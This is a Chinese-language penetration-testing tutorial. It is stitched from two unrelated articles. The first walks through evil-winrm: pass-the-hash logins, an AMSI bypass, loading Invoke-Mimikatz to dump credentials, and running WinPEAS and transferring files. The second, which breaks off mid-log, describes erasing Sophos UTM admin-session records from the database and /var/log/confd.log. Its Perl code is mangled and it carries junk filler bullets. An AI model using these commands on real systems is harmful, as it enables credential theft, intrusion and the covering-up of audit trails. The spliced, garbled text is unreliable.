正如上文提到的那样,winrm 服务可通过 HTTP 协议传输流量,然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。 一旦启用 SSL 功能,我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm,我们可以使用-S 参数来建立与远程主机的安全传输的命令。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S

jym5ornkjqw14175.png

使用 NTLM Hash 登录 - 通过哈希攻击

在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中,我们经常通过各种攻击方法获得 NTLM 哈希值。 如果我们在 Windows 内网环境中,我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话,这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。 除此之外,这种攻击还支持其他协议。 传递哈希我们可以使用-H 参数 。

evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

g1tunhaty3014177.png

加载 Powershell 脚本

Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。 可以直接将脚本加载到内存中 ,我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径 。 此外,该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。 在下面的示例中,我们将绕过 AMSI 功能,直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。 之后,可以使用 mimikatz 命令。 本次出于演示目的,我们直接从缓存中转储了系统登陆凭据。 转储凭据后,我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

ismxob1geb114179.png

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

15i1wfr1zri14181.png

使用 Evil-winrm 存储日志

此功能表示在获取远程会话后,将执行命令的日志保存到我们的本地系统中。 我们在平时做项目时,都需要攻击凭据,以便进行后续报告输出。可以使用 -l 参数将 将所有日志保存到我们的主机系统中 ,默认保存到 /root/evil-winrm-logs 目录中。在下面的示例中,我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l

wkhop03xdqp14183.png

可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功,可以看到已经存储了我们上文命令输出的日志信息。

1h33eve0f3z14187.png

禁用远程完整路径功能

默认情况下,该工具带有远程完整路径功能,但如果我们希望禁用远程路径完整功能,我们可以 在命令中使用-N参数。 这取决于个人是否喜欢打开或关闭路径完整功能,但如果您对自动完整路功能感到满意,则可以随意使用其默认功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

zlw3gtdnk3f14190.png

禁用彩色界面

每当我们使用 evil-winrm 建立任何远程会话时,都会生成一个漂亮的彩色命令行界面。 尽管如此,如果我们希望禁用彩色界面功能,那么我们也可以在建立会话时使用-n 参数来禁用该功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

5ldymd2jhqo14191.png

运行可执行文件

此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。 在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。

zhwj0rqmlvi14192.png

Hackplayers 团队再次设计了该工具并添加了一个额外的功能,可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样,我们可以使用 -e 参数来执行 exe 可执行二进制文件。 在下面的示例中,其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc目录中,并使用 附加功能(  evil-winrm 菜单中的Invoke-Binary命令 )来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

3xlalrhbjbl14195.png

一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中,我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。

h1hnxlx2iyp14197.png

使用 Evil-winrm 进行服务查询

有时后渗透测试工具,无法检测到目标系统中运行的服务名称。 在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此,我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。

2rima55wlhj14198.png

使用 Evil-winrm 进行文件传输

毫无疑问,evil-winrm 已尽最大努力使我们的使用尽可能地简单。 我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。 而 evil-winrm 工具提供的一项非常实用的功能,尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。 在下面的示例中,我们将/root目录中的notes.txt文件上传 到目标系统中。

t2zboiae4xo14199.png

文件从目标系统下载到攻击者的机器上。 同样,我们可以使用下面命令进行下载:

download notes.txt /root/raj/notes.txt

eqq0pf3scaz14200.png

e5zzxxndnrk14201.png

从 Docker 使用 Evil-winrm

此工具也可以安装在 docker 中。 如果我们在安装到evil-winrm的docker中,那么我们也可以从docker中调用它。 它将像在主系统中一样运行。 为此,请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。

docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'

a33r1ach1hg14202.png

使用 Evil-winrm 密钥登录

Evil-winrm 还允许我们使用公钥和私钥建立远程会话,使用 带有-k的参数跟私钥,以及带有-c 的参数跟公钥,此外,我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。

evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S

52dwa4a0kk014204.png


0x00 前言對於Sophos UTM設備,在web管理頁面中,Last WebAdmin Sessions會記錄用戶每次登錄的信息,本文僅在技術研究的角度介紹清除指定Last WebAdmin Sessions記錄的方法,記錄研究細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云 研究過程

马云惹不起马云實現方法

0x02 Last WebAdmin Sessions簡介在web管理頁面中,選中Management後會顯示Last WebAdmin Sessions記錄,如下圖:

image.png

記錄包括以下內容:

马云惹不起马云 User:登錄用戶名

马云惹不起马云Start:登錄時間

马云惹不起马云State:退出時間

马云惹不起马云IP address:登錄IP

马云惹不起马云Changelog:修改的配置

對於Changelog,點擊Show,會顯示修改的配置,如下圖

image.png

默認配置下,Last WebAdmin Sessions會顯示最近的20條記錄。

0x03 研究過程1.嘗試修改/var/confd/var/storage/cfg在上篇文章《Sophos UTM利用分析——导出配置文件》 提到,/var/confd/var/storage/cfg存儲Sophos UTM的配置信息,所以猜測通過修改/var/confd/var/storage/cfg文件可以實現Last WebAdmin Sessions記錄的清除。

/var/confd/var/storage/cfg的文件格式為Perl Storable files,這裡使用StorableEdit來編輯文件。

向Sophos UTM上傳文件storableedit-1.5.pl,執行命令:

./storableedit-1.5.plcfg結果如下圖:

image.png

解析出的文件結構同使用SophosUTM_ConfigParser.py導出的結果一致。

查看配置信息,命令如下:

cdlastchange

cdREF_AaaGroGroup1

ls將所有屬性置空,命令如下:

$cur-{'user'}='',$cur-{'time'}='',$cur-{'sid'}='',$cur-{'srcip'}=''保存文件,命令如下:

x然而,修改cfg文件後不會影響Last WebAdmin Sessions記錄。

2.反編譯web管理頁面的源碼web管理頁面的程序文件路徑:/var/sec/chroot-httpd/var/webadmin/webadmin.plx

使用SophosUTM_plxDecrypter.py反編譯/var/sec/chroot-httpd/var/webadmin/webadmin.plx

定位到關鍵文件:export-webadmin.plx\wfe\asg\modules\asg_dashboard.pm

定位到關鍵內容:my $userlog=$sys-userlog_read(max=20, facility='webadmin,acc-agent,acc_sso') || [];

如下圖:

image.png

從輸出結果中定位到關鍵函數:userlog_read

3.定位關鍵函數userlog_readgoogle搜索$sys-userlog_read,找到一份參考文檔:https://community.sophos.com/utm-firewall/astaroorg/f/asg-v8-000-beta-closed/69661/7-920-bug-open-failed-smtp-relay-login-is-showing-up-on-last-webadmin-logins

文檔中有關於userlog_read的一些描述,如下圖:

image.png

從描述得出,userlog_read同cc命令存在關聯。

4.反編譯cc命令對應的進程cc命令對應的文件為/var/confd/confd.plx,使用SophosUTM_plxDecrypter.py反編譯/var/confd/confd.plx

5.獲得函數userlog_read細節搜索userlog_read相關內容,命令如下:

grep-iR'userlog_read'/home/kali/1/decrypt/Export-confd.plx輸出結果如下圖:

image.png

從輸出結果中定位關鍵文件:Export-confd.plx/Info/webadmin/log.pm

定位到函數定義:

subuserlog_read{

my($self,%args)=@_;

$args{max}=$args{sid}?1:$args{max}||20;

$args{facility}={map{($_=1)}split/,/,$args{facility}}

if$args{facility};

my$sessions;

$sessions=_consult_db($self,\%args)

unless$self-get(qw(reportinguserlog_from_logs));

$sessions=_iterate_files($self,\%args)

unlessref$sessionseq'ARRAY';

foreachmy$sd(@$sessions){

$sd-{state}=(-e'$config:session_dir/$sd-{sid}'?'active':'ended')

if!$sd-{state}||$sd-{state}eq'active';

}

return$sessions;

}6.函數userlog_read代碼分析代碼涉及兩個操作,分別為讀取數據庫和讀取文件,詳情如下:

(1)數據庫操作

關鍵代碼:

sub_consult_db{

my($self,$args)=@_;

my$facility_selection='';

$facility_selection='WHEREfacilityin('.

join(',',map{'?'}keys%{$args-{facility}}).')'

if$args-{facility};

my%sql=(

sessions='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessions'.$facility_selection

.'ORDERBYtimeDESCLIMIT?',

session='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessionsWHEREsid=?',

nodes='SELECT*FROMconfd_nodesWHEREsid=$1ORDERBYtimeDESC',

objects='SELECT*FROMconfd_objectsWHEREsid=$1ORDERBYtimeDESC',

);

#Preparedatabaseaccess.

my$db=Astaro:ADBS-new(dbName='reporting')orreturn;

while(my($key,$query)=each%sql){

$db-registerSQL($key,$query)orreturn;

}

#ListConfdsessions.

my$sessh;

if($args-{sid}){

$sessh=$db-getHandle('session')orreturn;

$sessh-execute($args-{sid})orreturn;

}elsif($args-{facility}){

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute(keys%{$args-{facility}},$args-{max})orreturn;

}else{

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute($args-{max})orreturn;

}

my$sessions=$sessh-fetchall_arrayref({});

my$nodeh=$db-getHandle('nodes')orreturn;

my$objh=$db-getHandle('objects')orreturn;

foreachmy$sd(@$sessions){

#Tweaksessiondata.

$sd-{time}=~tr/-/:-/;

$sd-{endtime}=~tr/-/:-/ifdefined$sd-{endtime};

$sd-{user}=delete$sd-{username};#userisareservedwordinSQL

$sd-{user}.='(SUM)'if$sd-{facility}eq'acc_sso';

$sd-{user}=utils:Sanitize:sanitize($sd-{user})if$sd-{user};

#Fetchnodechanges.

$nodeh-execute($sd-{sid})orreturn;

foreachmy$node(@{$nodeh-fetchall_arrayref({})}){

$node-{time}=~tr/-/:-/;

$node-{node_descr}=Message:get_phrase(

'N',$node,{Nattrs=['node']});

$sd-{main}{$node-{node}}||=[];

push@{$sd-{main}{$node-{node}}},$node;

}

#Fetchobjectchanges.

$objh-execute($sd-{sid})orreturn;

foreachmy$object(@{$objh-fetchall_arrayref({})}){

my$attrs=$object-{attrs}||[];

$object-{attributes}=[];

while(@$attrs){

my$name=shift@$attrs;

$object-{'attr_$name'}=shift@$attrs;

$object-{'oldattr_$name'}=shift@$attrs;

$object-{'descr_$name'}=Message:get_phrase(

'A',$object,{attr=$name});

push@{$object-{attributes}},$name;

}

delete$object-{attrs};

if(@{$object-{attributes}}){

$object-{attributes}=[sort@{$object-{attributes}}];

}else{

delete$object-{attributes};

}

$object-{time}=~tr/-/:-/;

$object-{obj_descr}=Message:get_phrase('O',$object,{});

$sd-{objects}{$object-{ref}}||=[];

push@{$sd-{objects}{$object-{ref}}},$object;

}

}

$db-disconnect;

return$sessions;

}代碼分析:

從數據庫reporting中分別執行以下操作實現數據讀取:

sessions:SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;

nodes:SELECT*FROMconfd_nodes;

objects:SELECT*FROMconfd_objects;經過測試分析,confd_sessions存儲Session信息。

讀取Session信息的cmd命令:

psqlreporting-Upostgres-c'SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;'(2)文件操作

關鍵代碼:

sub_iterate_files{

my($self,$args)=@_;

#choosethefirstfiletoprocess

my$filename='/var/log/confd.log';

if(defined$args-{time}){

my@then;

if($args-{time}=~/^(\d{4}):(\d\d):(\d\d)/){

@then=(0,0,12,$3,$2-1,$1-1900);

}else{

@then=localtime($args-{time});

}

my$then=POSIX:strftime('%F',@then);

my$now=POSIX:strftime('%F',localtime);

$filename=POSIX:strftime(

'/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz',

@then,

)if$thenne$now;

}

#processthefirstfile

my$sessions=[];

my$sdata={};

_parse_file($self,$filename,$sessions,$sdata,$args);

#ifneeded,processarchivedlogfiles

if(@$sessions$args-{max}not$args-{time}){

my$iter=File:Next:files({

file_filter=sub{/\.log\.gz$/},

sort_files=\File:Next:sort_reverse,

},'/var/log/confd');

while(@$sessions$args-{max}){

$filename=$iter-();

lastunlessdefined$filename;

my@new_sessions;

_parse_file($self,$filename,\@new_sessions,$sdata,$args);

push@$sessions,@new_sessions;

}

}

#limitthenumberofsessionstoreporton

splice@$sessions,$args-{max}if@$sessions=$args-{max};

return[@{$sdata}{@$sessions}];

}代碼分析:

讀取文件/var/log/confd.log,/var/log/confd.log只能保存現在時間到之前一段時間的日誌,更早時間的日誌會保存在/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz,例如2022年5月16日的日誌對應位置為/var/log/confd/2022/05/confd-2022-05-16.log.gz

經過測試分析,/var/log/confd.log存儲Session信息。

7.編輯文件中存儲的Session信息查看登錄成功的信息:

cat/var/log/confd.log|grepsuccess返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='System'sub='confd'name='authenticat ionsuccessful'user='admin'srcip='192.168.1.2'sid='8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab'facility='webadmin'client='webadmin.plx'cal l='new'May2300:19:33confd[41177]:Dsys:AUTOLOAD:307()=id='3100'severity='debug'sys='System'sub='confd'name='externalcall'user='admin's rcip='192.168.1.2'facility='webadmin'client='webadmin.plx'lock='none'method='get_SID'從結果中獲得sid為8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab

篩選出指定sid的信息:

cat/var/log/confd.log|grep8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='Sys